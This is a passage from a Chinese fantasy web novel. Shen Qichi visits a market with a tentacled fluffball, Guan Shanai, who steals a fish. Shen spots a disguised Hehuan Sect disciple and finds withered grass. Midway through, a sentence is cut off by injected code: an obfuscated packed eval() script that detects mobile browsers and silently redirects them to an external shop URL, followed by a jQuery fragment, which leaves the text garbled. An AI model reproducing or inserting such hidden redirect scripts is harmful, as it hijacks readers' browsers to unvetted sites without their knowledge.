掌柜只当他面皮薄,笑意更甚,麻利地将料子展开裁好,递给沈栖迟。
沈栖迟接过,又随意买了些针线,出了布庄,走了好几步,方才后知后觉地意识到自己的耳根略微发烫。
观山霭突然探出一根触手,拽住沈栖迟的袖子。
沈栖迟脚步一顿,神情不自然了一瞬,手臂僵硬地抬起,要将那匹料子递给他,却被观山霭避开,转而指了指不远处。
一个糖葫芦摊子。
沈栖迟哭笑不得。
他无奈的叹了一口气,将布料和针线收起来,买了根糖葫芦,走到没人的地方,将糖葫芦递给观山霭。
毛团刚推开红色的布料,此刻喜滋滋接过了红色的零食。
糖葫芦外壳亮晶晶的,散发着和麦芽糖相似的香甜气息,观山霭吃一堑长一智,用触手卷着竹签,慎重地啃了一下。
糖壳啃碎的声音很脆,观山霭放松,咔嚓咔嚓啃糖壳,糖壳咬碎了,露出里面红红的山楂果肉。
观山霭猝不及防,一口下去被酸得皱巴巴的。
沈栖迟只看到一个小小的粉红色嘴巴张开,深深吸了几口气。
虽然一早上都在吃东西,但沈栖迟还是第一次看见观山霭的嘴。
原来这个毛团真的有嘴巴啊。
沈栖迟就像看见鸡蛋突然裂开一个缝,眨眨眼,深感新奇。
观山霭整个团凹进去一块,避开糖葫芦,然后不假思索地把糖葫芦举高了,朝沈栖迟的方向晃了晃,非常理直气壮。
“呜啾。”给你。
沈栖迟低头看了看那串被啃了一半的糖葫芦,糖壳已经没了,只剩一颗沾着口水的山楂果肉。
大概是挨过饿的人都没有浪费粮食的习惯,沈栖迟想了想,还是把那颗山楂吃了。
观山霭在篮子里满意地啾了一声。
沈栖迟三两口把糖葫芦吃完,随手扔了竹签,舌头上还残留着山楂的酸味,酸得他舌根发紧。
顺着早市走到街尽头,紧挨着一条河。
沿河比城里更加杂乱,鱼腥味混着河泥的潮气,卖鱼的、卖田螺的、卖莲蓬的挤了一河岸,一个鱼贩面前摆了好几口大木桶,里面是清晨现捞的小白条。
小白条银亮亮的,细长一条,在水里窜得飞快,噼里啪啦,溅起细密的水花。
鱼摊腥气,沈栖迟本来没打算往河边走。
但在路过一棵歪脖子柳树时,他的脚步慢了下来。
河岸边,一个年轻人正蹲在石头上洗手。
他身着普通灰布短褐,寻常长工打扮,手指很瘦,骨节突出,洗手的动作慢条斯理。
沈栖迟注意的却是另一处。
那人弯腰的时候随手撸起袖子,短褐下是另一套衣袍,袖口精细绣着一朵合欢花暗纹。
同色丝线隐在布料纹理里,不凑近看不到,但沈栖迟穿了近二十年同样的衣服,远远一眼便可清晰认出。
那是合欢宗弟子的服制。
沈栖迟往柳树后偏了半步,侧身望去。
那人站起来,抖干手上的水,往镇西方向走去。
镇西尽头是老林子边缘,再往外就是山脚,人烟稀少,无论是打尖还是住店,都绝无可能往那个方向去。
沈栖迟脑子里有什么东西轻轻碰了一下。
“公子?这位公子?”倏忽不远处有人叫他。
沈栖迟这才回过神来,发现自己不知什么时候站到了鱼桶边上。
鱼贩一手按着条活蹦乱跳的鲫鱼,一手举着刮鳞刀,动作熟练地开膛破肚。
他一边手脚麻利的将杀好的鱼递给前一位客人,一边还冲他扬了扬下巴,笑容爽朗:“公子是要鱼吗?可新鲜,今早刚捞上来的。”桶里的小白条窜过水面,溅了几滴水在他袖口上。
沈栖迟收回视线,刚要开口说不用,低头却看见一根触手闪电般从篮子里钻出来。
鱼贩恰好在收拾台面,没往这边看,竟不知一个偷鱼的小贼就在他几步之外。
鱼桶边,一根白色的触手正从桶沿无声无息地缩回来,尖部卷着一条银亮亮的小白条。
鱼眼里闪着绝望的光,没有任何反抗的能力。
触手迅速把战利品拖进篮子里,全程没有发出一丝声音,没有被任何人看到。
沈栖迟:……?
他那句不买就卡在嘴边,嘴角抽了抽。
趁鱼贩招呼另一个客人,沈栖迟弯下腰,迅速抓出一把铜板搁在鱼桶旁边,随后把篮子往怀里拢了拢,快步离开了河边,溜之大吉,走到镇西一处僻静无人的墙根下才放慢脚步。
沈栖迟无语的盯着篮子,手巾还安安静静地盖着,底下一点动静都没有。
那鱼黏糊糊的,浑身散发着腥味,沾满了泥水,半死不活的被抓进篮子里。
沈栖迟太阳穴跳了跳。
他今天早上已经洗了两遍毛球,再洗就是第三遍。
这次洗的还是腥了吧唧的鱼腥味毛球。
沈栖迟深吸一口气,绝望地掀开手巾。
篮子里干干净净。
没有半死不活的鱼,没有咬碎的鱼块,没有脏水,连一丝鱼腥味都没有。
观山霭安安静静地窝在篮子底,触手们整整齐齐地蜷在身体周围,乌溜溜的眼珠子坦荡荡地回望着他。
“呜啾?”
“鱼呢。”
观山霭把嘴张开了。
一个小小的粉红色的嘴巴,在白色的绒毛中间,像棉花糖上嵌了一颗小樱桃。
嘴里干干净净,没有鱼肉,没有鱼骨头,只有一片热乎乎软乎乎的粉色。
沈栖迟盯着那个嘴巴,突然伸手,把手指伸了进去。
观山霭的嘴巴下意识合拢,包住了他的指尖。
里面又小又热又软,紧紧箍在他的指节上,沈栖迟手指在里面转了一圈,触感湿润光滑,柔软的舌尖抵在他的指腹上,别说鱼,就连一粒牙齿都没有。
这么小的嘴,把那条鱼吞进去了?
沈栖迟难以置信地把观山霭从篮子里举起来,凑到鼻子跟前,观山霭被他举在半空中,四目相对,触手们茫然地垂着。
沈栖迟低下头,凑近观山霭的嘴,嗅了嗅。
没有鱼腥味。
观山霭被颠来倒去的折腾半天,终于不高兴了,抬起一根触手,精准地抵在他嘴唇缝上,然后整根塞了进来。
沈栖迟含着触手愣住了,柔软
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743233|209117||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
温凉的触感贴着他的舌面,搔得他齿根发痒,一时间不受控制地咬了一下。
观山霭:!
观山霭浑身一震,猛地把触手从他嘴里抽了回去,管不了触手尖上还沾着着涎水,猛地收到身体里藏起来。
整团毛球在沈栖迟手里用力弹动,乌溜溜的眼珠子瞪得圆圆的,浑身绒毛炸起来,难以置信。
“呜啾啾?!”
观山霭脸上清晰的写着几个大字:我都没有咬你!
沈栖迟嘴里空了,舌面上还残留着那根触手温凉柔软的触感,对上观山霭的眼睛,难得再一次如此清晰地读懂他的表情,却一时不知道该不该纠正他在意的点不对。
最重要的是怎么能随便捅别人的嘴呢。
但这也是他先捅的。
而且观山霭没有牙,也不能咬他。
不对,这都什么跟什么。
沈栖迟一时心虚,偏过头,用手背蹭了蹭嘴唇,轻咳了一声。
“你看。”他指了指墙角的草丛,尴尬地试图转移话题:“草黄了。”
观山霭从篮子里探出头,顺着沈栖迟的视线看向墙根下那丛发黄的草,草叶耷拉着,尖部枯得卷了边,从根部往上褪了一层颜色。
草根部的泥土干得发白,裂成一小块一小块的龟纹,蚂蚁在裂缝里飞快地爬进爬出,像是被什么令人不安的东西惊扰了。
他翻出篮子,落在草丛边上,一根触手伸出去轻轻碰了一下发黄的草尖。
草尖被碰得晃了晃,没有回应。
这不是普通的黄叶,与观山霭家乡一样,是那种被什么东西吸干了生命力的枯败。
观山霭把触手收回来,整团毛球蹲在草丛旁边,一声不吭,突然恹恹的,像一朵被晒蔫了的小蘑菇。
沈栖迟低头看了看脚边那团安静的毛球,才意识到不对,他伸手把观山霭从草丛边捞起来,放在掌心里托着。
“不是我们弄的。”沈栖迟说,声音很轻。
观山霭在他掌心里抬起头,望向沈栖迟,像是突然想起了什么,乌溜溜的眼珠子忽然亮了起来。
然后整团毛球猛地钻进他怀里。
沈栖迟被撞得往后踉跄了半步,肩胛骨抵在墙面上,灰墙被蹭掉一小块石灰,粉末落在他肩膀上。
触手们这次缠得比任何一次都紧,纠缠在他手上,在沈栖迟手腕上压出了一道浅红的印子。
触手们在他指缝里来回穿插,卷个不停,绕了一圈又一圈,不断往他掌心里钻。
观山霭仰着脸冲他叫,引着他向着草的方向去,呜呜啾啾的,短促而急切,像在说一件很重要的事。
沈栖迟凝眉,指尖被他磨得发痒。
刚才还蔫巴巴的,怎么突然这么激动?
因为那些草,不高兴了,在撒娇吗。
他把手臂往回收了收,把毛球整个拢在怀里,下巴搁在他头顶上,顺着绒毛的纹理慢慢往下抚。
“没事。”沈栖迟哄他,声音放得更软,“那些草不是我们弄的,我们才刚来。”
观山霭从他怀里仰起脸,清晰看到他瞳孔中自己的倒影。
没有人形。
只有一团圆滚滚的,毛茸茸。